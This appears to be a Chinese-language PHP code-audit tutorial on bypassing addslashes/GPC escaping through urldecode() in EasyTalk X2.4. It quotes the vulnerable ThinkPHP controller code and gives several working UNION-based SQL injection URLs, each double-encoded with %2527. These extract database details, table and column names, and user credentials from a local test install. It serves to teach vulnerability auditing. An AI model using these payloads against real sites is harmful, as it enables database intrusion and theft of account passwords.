標籤:
0x01 背景
現在的WEB程式基本都有對SQL注入的全域過濾,像PHP開啟了GPC或者在通用檔案common.php上使用addslashes()函數對接收的參數進行過濾,尤其是單引號。遇到這種情況我們就需要找一些編碼解碼的函數來繞過全域防護,這篇文章講urldecode()的情況,同樣大牛請自覺繞道~
漏洞來源於烏云:http://www.wooyun.org/bugs/wooyun-2014-050338
0x02 環境搭建
看背景我們使用了低版本的easytalk程式,版本為X2.4
①源碼我打包了一份:http://pan.baidu.com/s/1bopOFNL
②解壓到www的easytalk目錄下,按照提示一步步安裝即可,遇到問題自行百度或Google,成功後訪問如:
0x03 漏洞分析
首先看下源碼結構,用的ThinkPHP架構,比較複雜:
有興趣的可以去研究下再繼續往下看,新手可以知道ThinkPHP對接收的參數是有過濾的,並且根據你伺服器是否開啟GPC會做相應的處理:
1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php檔案第266行:
/** +---------------------------------------------------------- * 如果 magic_quotes_gpc 為關閉狀態,這個函數可以逸出字元串 +---------------------------------------------------------- * @access public +---------------------------------------------------------- * @param string $string 要處理的字串 +---------------------------------------------------------- * @return string +---------------------------------------------------------- */ static public function addSlashes($string) { if (!get_magic_quotes_gpc()) { $string = addslashes($string); } return $string; }
|
2.使用Seay代碼審計系統的全域搜尋功能,搜尋包含關鍵字為”urldecode”的檔案,發現TopicAction.class.php包含一個對接收的參數keyword進行urldecode並且有sql查詢的地方:
3.我們跟進這個php檔案,發現接收keyword就對其進行urldecode轉碼,然後立即帶入查詢,造成注入:
public function topic() { $keyword = $this->_get(‘keyword‘, ‘urldecode‘);//使用ThinkPHP架構內建的_get對接收的keyword參數進行urldecode(詳見http://doc.thinkphp.cn/manual/get_system_var.html) if ($keyword) { $topic = D(‘Topic‘)->where("topicname=‘$keyword‘")->find();//ok,帶入查詢了 if ($topic) { $isfollow = D(‘Mytopic‘)->isfollow($topic[‘id‘], $this->my[‘user_id‘]); $topicusers = D(‘MytopicView‘)->where("topicid=‘$topic[id]‘")->order(‘id desc‘)->limit(9)->select(); $widget = M(‘Topicwidget‘)->where("topicid=‘$topic[id]‘")->order(‘`order` ASC‘)->select(); if ($widget) { foreach ($widget as $val) { $topicwidget[$val[‘widgettype‘]][] = $val; } } $this->assign(‘topicwidget‘, $topicwidget); } else { $count = $isfollow = 0; }
$this->assign(‘comefrom‘, ‘topic‘); $this->assign(‘keyword‘, $keyword); $this->assign(‘topic‘, $topic); $this->assign(‘topicusers‘, $topicusers); $this->assign(‘isfollow‘, $isfollow); $this->assign(‘subname‘, ‘#‘ . $keyword . ‘#‘); $this->display(); } else { header("location:" . SITE_URL . ‘/?m=topic&a=index‘); } }
|
0x04 漏洞證明
1.我們構造擷取資料庫相關資訊的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3,concat(database(),0x5c,user(),0x5c,version()),5 %23
成功擷取到資訊如下:
查看下MySql日誌,發現成功執行了sql語句:
2.我們構造擷取資料庫eazytalk所有表的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23
成功擷取所有表資訊如下:
4.構造擷取表et_users所有欄位資訊的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x65745F7573657273),5%23
成功擷取表et_users所有欄位資訊如下:
5.構造擷取et_users表第一條賬戶的POC:
http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23
成功擷取表admin的賬戶密碼如下:
,原文連結:http://www.cnbraid.com/2015/12/24/sql1/,如需轉載請聯絡作者。
【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 2.全域防護Bypass之UrlDecode